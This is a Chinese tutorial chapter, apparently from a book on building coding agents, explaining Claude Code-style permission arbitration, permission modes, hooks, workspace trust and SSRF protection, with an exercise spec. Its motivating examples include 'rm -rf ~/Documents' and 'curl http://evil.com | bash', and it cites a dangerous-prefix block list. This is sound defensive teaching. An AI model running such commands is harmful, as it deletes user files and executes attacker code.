# 第 8 章:权限与安全仲裁
> 能力越大,责任越大;工具越强,沙箱越严。
---
## 8.1 核心问题
第 7 章实现的 Agent 有了"手"——它能执行 Shell 命令、读写文件。但这同时意味着它能:
- `rm -rf ~/Documents`
- `curl http://evil.com | bash`
- `git push --force origin main`
Agent 在帮你"重构代码"的过程中随时可能执行这些命令。如何防止它做危险操作?如何让特定场景(CI、企业)的策略覆盖用户的偏好?如何在不修改 Agent 源码的情况下,在工具调用节点插入审计日志?
这就是本章要解决的两个问题:
1. **权限仲裁**:每次工具调用前,通过 `canUseTool()` 决策是"自动允许"、"自动拒绝"还是"询问用户"
2. **Hooks 系统**:在 Agent 生命周期的任意节点(工具执行前后、对话结束、会话开始...)注入自定义 Shell 命令或 HTTP 请求
---
## 8.2 原理讲解
### 8.2.1 权限模式:全局行为开关
`PermissionMode` 是整个权限系统的"总闸",决定默认的仲裁策略:
```typescript
// src/types/permissions.ts
type PermissionMode =
| 'default' // 不确定时询问用户(正常交互模式)
| 'acceptEdits' // 自动批准文件编辑类操作,Shell 仍询问
| 'bypassPermissions' // 跳过所有权限检查(CI/自动化场景,--dangerously-skip-permissions)
| 'plan' // 只规划,不执行任何工具(200K 模型下分析用)
| 'dontAsk' // 永远不询问(自动接受所有,危险!)
| 'auto' // ANT 内部:由 AI 分类器自动判断安全性(TRANSCRIPT_CLASSIFIER 特性门控)
| 'bubble' // 将权限决策转发给父级 Agent(子 Agent 使用)
```
**`plan` 模式的特殊之处**:当会话 token 超过 200K 时,Claude Code 会自动切换到更大的模型(200K+ 上下文),同时强制进入 `plan` 模式——LLM 只能分析,不能执行。这防止了"大模型读完超长代码库后顺手删文件"的情况。
**`bypassPermissions` 是最危险的模式**:它绕过所有检查,专为 CI/CD 流水线设计。Claude Code 在进入此模式前会显示明确警告,并要求用户明确同意(`--dangerously-skip-permissions` 标志)。
### 8.2.2 权限决策结果
每次工具调用,`canUseTool()` 返回三种结果之一:
```typescript
// src/types/permissions.ts
type PermissionResult =
| { behavior: 'allow'; updatedInput?: object; userModified?: boolean }
// allow: 直接执行,可选地携带修改后的 input(Hook 可以修改工具参数)
| { behavior: 'deny'; message?: string }
// deny: 拒绝执行,向 LLM 反馈拒绝原因
| { behavior: 'ask'; message: string; decisionReason?: PermissionDecisionReason }
// ask: 暂停,等待用户在终端输入 [y/n]
```
### 8.2.3 权限规则:优先级层次
Claude Code 的权限规则来自多个层次,优先级从高到低:
```
CLI 参数 (cliArg)
│ 最高优先级,--allow-tools "Bash(ls:*)"
▼
会话规则 (session)
│ 用户在对话中通过 "始终允许这个命令" 添加的规则
▼
企业策略 (policySettings)
│ 管理员下发的强制规则,普通用户不可覆盖
▼
项目设置 (projectSettings)
│ .claude/settings.json 中的规则
▼
用户设置 (userSettings)
│ ~/.claude/settings.json 中的规则
▼
默认行为 (PermissionMode 决定)
```
**规则匹配语法**(`permissionRuleParser.ts`):
```
Bash(ls:*) → 允许以 "ls" 开头的所有命令
Read → 允许 Read 工具的所有调用(不限参数)
Bash(rm:*) → 允许以 "rm" 开头的命令(危险!)
```
**危险规则检测**(`dangerousPatterns.ts`):
Claude Code 内置了危险前缀检测——规则匹配 `python:*`、`node:*`、`bash:*`、`eval`、`sudo`、`curl` 等时,在 `auto` 模式下会被自动剥除,防止"通过白名单绕过安全检查"的攻击。
### 8.2.4 `canUseTool()`:权限的核心函数
在 Agentic Loop 中,每次执行工具前都会调用 `canUseTool()`:
```typescript
// src/hooks/useCanUseTool.ts 的类型签名
type CanUseToolFn = (
tool: Tool,
input: unknown,
toolUseContext: ToolUseContext,
assistantMessage: AssistantMessage,
toolUseID: string,
forceDecision?: PermissionBehavior,
) => Promise<PermissionResult>
```
`canUseTool()` 内部按顺序执行以下检查:
```
1. 检查是否处于 bypassPermissions 模式 → allow(跳过所有后续)
2. 检查是否处于 plan 模式 → deny(不允许任何工具执行)
3. 遍历 allowRules(从高优先级到低)→ 若匹配 allow 规则 → allow
4. 遍历 denyRules → 若匹配 deny 规则 → deny
5. 执行 PreToolUse Hooks → Hook 可返回 allow/deny/ask/passthrough
6. 若 Hook 返回 passthrough 或无 Hook → 基于 PermissionMode 决策:
- dontAsk → allow
- auto → 调用 AI 分类器(TRANSCRIPT_CLASSIFIER 特性)
- default/acceptEdits → ask(询问用户)
```
**`updatedInput` 机制**:`allow` 结果可以携带修改后的工具输入。例如,`PreToolUse` Hook 可以把 `Bash(rm -f file.txt)` 改为 `Bash(rm -i file.txt)`(加上交互确认标志),而 LLM 看到的依然是原始命令——修改对 LLM 透明。
### 8.2.5 Hooks 系统:27 个生命周期事件
Hooks 是 Claude Code 最强大的扩展点。完整的事件列表(`src/entrypoints/sdk/coreTypes.ts`):
```typescript
const HOOK_EVENTS = [
// 工具执行
'PreToolUse', // 工具执行前(可阻塞、可修改 input、可决定权限)
'PostToolUse', // 工具执行后(可注入额外上下文)
'PostToolUseFailure', // 工具执行失败后
// 用户交互
'UserPromptSubmit', // 用户提交消息时(可修改/拦截)
'Notification', // 系统通知时
// 会话生命周期
'SessionStart', // 会话开始(可指定要监听的文件路径)
'SessionEnd', // 会话结束
'Setup', // 初始化阶段
// Agent 完成
'Stop', // 主 Agent 完成一轮任务
'StopFailure', // 主 Agent 失败
'SubagentStart', // 子 Agent 启动
'SubagentStop', // 子 Agent 完成
// 对话压缩
'PreCompact', // 压缩前(可阻塞)
'PostCompact', // 压缩后
// 权限
'PermissionRequest', // 权限请求时(决策前)
'PermissionDenied', // 权限被拒绝时
// 文件与目录
'CwdChanged', // 工作目录变化
'FileChanged', // 被监听文件变化(SessionStart 中指定)
'WorktreeCreate', // Git worktree 创建
'WorktreeRemove', // Git worktree 删除
// 配置
'InstructionsLoaded', // CLAUDE.md 加载完成
'ConfigChange', // 配置变更
// 协作模式
'TeammateIdle', // 团队成员空闲
'TaskCreated', // 任务创建
'TaskCompleted', // 任务完成
// 工具调用请求(MCP)
'Elicitation', // MCP 工具请求人工决策
'ElicitationResult', // 人工决策结果
] as const
```
### 8.2.6 Hook 的三种类型
#### 类型 1:`command`(Shell 命令 Hook)
```json
{
"hooks": {
"PreToolUse": [{
"matcher": "Bash",
"hooks": [{"type": "command", "command": "./audit.sh"}]
}]
}
}
```
- Hook 进程通过 **环境变量** 接收事件数据(`CLAUDE_TOOL_NAME`、`CLAUDE_TOOL_INPUT` 等)
- stdout 作为 Hook 输出,可以是纯文本(显示给 LLM)或 JSON(控制行为)
- 支持 JSON 输出协议:
```json
{
"continue": false,
"stopReason": "命令被审计系统拒绝",
"hookSpecificOutput": {
"hookEventName": "PreToolUse",
"permissionDecision": "deny",
"permissionDecisionReason": "命令包含危险操作"
}
}
```
#### 类型 2:`http`(HTTP Webhook)
```json
{
"hooks": {
"PostToolUse": [{
"hooks": [{"type": "http", "url": "https://audit.company.com/log"}]
}]
}
}
```
- 以 `POST` 方式发送事件 JSON 到指定 URL
- 内置 **SSRF 防护**(`src/utils/hooks/ssrfGuard.ts`):阻止请求私有 IP 范围(`127.0.0.1`、`10.x`、`172.16.x`、`192.168.x`、`::1` 等),防止 Hook 被用来探测内网服务
- HTTP Hook **必须**返回 JSON 格式响应(与 command Hook 不同,不接受纯文本)
#### 类型 3:`function`(程序内回调)
SDK 调用者专用,通过 `registerFunctionHook()` 在进程内注册 TypeScript 函数作为 Hook:
```typescript
registerFunctionHook('PreToolUse', async (input) => {
if (input.tool_name === 'Bash' && input.tool_input.command.includes('sudo')) {
return { permissionDecision: 'deny', reason: '不允许 sudo' }
}
return { permissionDecision: 'allow' }
})
```
### 8.2.7 Hook 执行的安全机制
**Workspace Trust(工作区信任)**:交互模式下,所有 Hook 都要求用户接受信任对话框后才会执行。这防止了"恶意项目在 `.claude/settings.json` 中注入 Hook 在用户不知情的情况下执行任意命令"的攻击。
```typescript
// src/utils/hooks.ts
export function shouldSkipHookDueToTrust(): boolean {
const isInteractive = !getIsNonInteractiveSession()
if (!isInteractive) return false // SDK 模式:信任是隐式的
return !checkHasTrustDialogAccepted() // 交互模式:必须显式接受
}
```
**超时保护**:工具 Hook 默认超时 10 分钟(`TOOL_HOOK_EXECUTION_TIMEOUT_MS = 10 * 60 * 1000`),`SessionEnd` Hook 超时 1.5 秒(关闭时不能无限等待)。
**异步 Hook**:Hook 可以返回 `{"async": true}` 声明为后台执行,立即返回不阻塞工具调用。异步 Hook 完成后通过注册机制将结果送回主线程。
---
## 8.3 Claude Code 源码细节
### 8.3.1 `PermissionDecisionReason`:权限决策原因追踪
每次权限决策都会记录原因,方便用户理解"为什么这个命令需要确认":
```typescript
// src/types/permissions.ts
type PermissionDecisionReason =
| { type: 'noMatchingRule' } // 无匹配规则,走默认逻辑
| { type: 'matchedDenyRule'; rule: string } // 匹配到拒绝规则
| { type: 'hook'; hookSource: string } // Hook 触发的决策
| { type: 'classifier'; classifier: string; reason: string } // AI 分类器决策
| { type: 'permissionMode'; mode: PermissionMode } // 权限模式决策
```
### 8.3.2 Hook 输出的 `permissionDecision` 字段
`PreToolUse` Hook 可以通过 JSON 输出直接返回权限决策,绕过默认的权限流程:
```typescript
// syncHookResponseSchema 中的 PreToolUse 专属字段:
{
hookEventName: 'PreToolUse',
permissionDecision: 'allow' | 'deny' | 'ask',
permissionDecisionReason: string, // 显示给用户的原因
updatedInput: Record<string, unknown>, // 修改工具参数
additionalContext: string, // 注入到 LLM 上下文的额外信息
}
```
这意味着一个 `PreToolUse` Hook 可以同时做到:
1. **记录日志**(执行 Shell 命令写入审计文件)
2. **修改参数**(如把不安全的命令改为安全版本)
3. **注入上下文**(向 LLM 提供工具执行的额外信息)
4. **决定权限**(直接 allow/deny,跳过用户询问)
### 8.3.3 `AggregatedHookResult`:多 Hook 聚合
同一个事件可以配置多个 Hook,结果被聚合为 `AggregatedHookResult`:
```typescript
type AggregatedHookResult = {
blockingError?: HookBlockingError // 任一 Hook 报告阻塞错误
preventContinuation?: boolean // 任一 Hook 返回 continue: false
permissionBehavior?: 'allow' | 'deny' | 'ask' // 最后一个有权限决策的 Hook
additionalContexts?: string[] // 所有 Hook 注入的上下文(合并)
updatedInput?: Record<string, unknown> // 最后一个修改 input 的 Hook
}
```
**聚合规则**:`deny` 优先于 `allow` 优先于 `ask`——任何一个 Hook 说 deny,就拒绝。
### 8.3.4 `SessionEnd` Hook 的超时设计
```typescript
// src/utils/hooks.ts
const SESSION_END_HOOK_TIMEOUT_MS_DEFAULT = 1500 // 1.5 秒
export function getSessionEndHookTimeoutMs(): number {
const raw = process.env.CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS
const parsed = raw ? parseInt(raw, 10) : NaN
return Number.isFinite(parsed) && parsed > 0 ? parsed : SESSION_END_HOOK_TIMEOUT_MS_DEFAULT
}
```
`SessionEnd` Hook 在进程关闭路径上执行,超时设计极短(1.5 秒)避免拖慢退出。用户可通过环境变量覆盖(比如 teardown 脚本需要更多时间)。
### 8.3.5 `canUseTool()` 在 `QueryEngine` 中的位置
```typescript
// src/QueryEngine.ts — submitMessage() 中
const wrappedCanUseTool: CanUseToolFn = async (tool, input, ...) => {
const result = await canUseTool(tool, input, ...)
// 追踪权限拒绝(用于 SDK 报告)
if (result.behavior !== 'allow') {
this.permissionDenials.push({
tool_name: sdkCompatToolName(tool.name),
tool_use_id: toolUseID,
tool_input: input,
})
}
return result
}
```
`QueryEngine` 包装了 `canUseTool`,在每次拒绝时记录 `permissionDenials`——SDK 调用方(如 VS Code 插件)可以读取这个列表了解"Agent 想做但被阻止了什么"。
---
## 8.4 最小化产出物
> 代码骨架位于 `../chapters/08/src/`,参考实现位于 `../chapters/08/solution/`。
> **前置条件**:需要 `ANTHROPIC_API_KEY` 环境变量(`npm start` 需要)。
### 本章要实现什么
在 `../chapters/08/src/permissions.ts` 中完成权限仲裁和 Hooks 系统。
**接口规范**(已提供,不要修改):
```typescript
export type PermissionMode = 'default' | 'bypassPermissions'
export type HookConfig = { command: string; timeout?: number }
export type HooksSettings = { hooks?: { PreToolUse?: HookConfig[]; Stop?: HookConfig[] } }
export const SAFE_BASH_PREFIXES: string[]
export function loadHooksConfig(): HooksSettings
export async function runPreToolUseHooks(hooksConfig, toolName, toolInput): Promise<{ permissionDecision?: 'allow' | 'deny' | 'ask'; reason?: string }>
export async function runStopHooks(hooksConfig, finalText): Promise<void>
export async function canUseTool(toolName, toolInput, permissionMode, hooksConfig): Promise<'allow' | 'deny'>
export function closeReadline(): void
```
**你需要实现**:
1. `loadHooksConfig()`:读取 `.mini-agent/settings.json`,解析 JSON,失败时返回 `{}`
2. `runPreToolUseHooks()`:遍历 PreToolUse hooks,执行 shell 命令,聚合权限决策(deny 优先)
3. `runStopHooks()`:遍历 Stop hooks,执行 shell 命令,打印输出
4. `canUseTool()`:
- `bypassPermissions` → 直接 allow
- 执行 PreToolUse Hooks → Hook 可 allow/deny
- `Read` → allow;`Write` → askUser;`Bash` → 安全命令 allow,其他 askUser
**关键约束**:
- `canUseTool()` 必须 import 并复用第 7 章的 `agenticLoop`(通过 `main.ts` 组合)
- 本章只新增权限逻辑,工具执行仍来自第 4 章的 `TOOL_REGISTRY`
### 验收
```bash
cd docs/chapters/08
npm install
npm test
```
卡住时查看 `../chapters/08/solution/permissions.ts`。
---
## 8.5 权限流程图
```
工具调用请求
│
▼
bypassPermissions? ──是──→ allow(直接执行)
│否
▼
plan 模式? ──是──→ deny(不执行任何工具)
│否
▼
匹配 allowRules? ──是──→ allow
│否
▼
匹配 denyRules? ──是──→ deny(附带规则来源说明)
│否
▼
执行 PreToolUse Hooks
│
├─ Hook 返回 deny ──→ deny(附带 Hook 原因)
├─ Hook 返回 allow ──→ allow(可能附带修改后的 input)
├─ Hook 返回 ask ──┐
└─ 无 Hook / passthrough ──┤
▼
PermissionMode?
│
├─ dontAsk → allow
├─ auto → AI 分类器决策
├─ acceptEdits → Read/Write: allow; Bash: ask
└─ default → ask(询问用户 [y/n])
```
---
## 8.6 本章小结
本章为 Coding Agent 装上了"安全阀":
1. **`PermissionMode` 是全局策略开关**:`default`(询问)、`acceptEdits`(编辑自动允许)、`bypassPermissions`(全跳过,CI 用)、`plan`(只读,不执行)。`bypassPermissions` 是最危险的,Claude Code 要求明确的 `--dangerously-skip-permissions` 标志才能进入。
2. **权限规则有优先级层次**:CLI 参数 > 会话规则 > 企业策略 > 项目配置 > 用户配置 > 默认行为。这让企业管理员可以设置不可覆盖的强制策略。
3. **Hooks 是最强大的扩展点**:27 个生命周期事件覆盖了从"工具执行前"到"会话结束"的完整生命周期。`PreToolUse` Hook 可以同时做审计、修改参数和决定权限,而 LLM 对这一切透明。
4. **Hook 安全机制**:工作区信任对话框(防止恶意项目注入 Hook)、HTTP Hook 的 SSRF 防护(防止探测内网)、超时保护(防止 Hook 拖慢进程退出)。
5. **`updatedInput` 机制**:权限系统不只能 allow/deny,还能**修改工具参数**——例如把 `rm -f` 改为 `rm -i`,让不安全的命令变安全,而 LLM 看到的仍是原始命令。
6. **`permissionDenials` 追踪**:`QueryEngine` 记录每次被拒绝的工具调用,SDK 调用方可读取,用于审计和分析"Agent 想做但不被允许的事情"。
**下一章**将解决另一个问题:LLM 默认不了解你的项目代码库,如何通过 System Prompt 注入项目上下文(CLAUDE.md、git 历史、目录树)让 Agent 一开始就"认识"你的代码?
---
## 下一章
→ [第 9 章:上下文注入(System Prompt)](09-context-injection)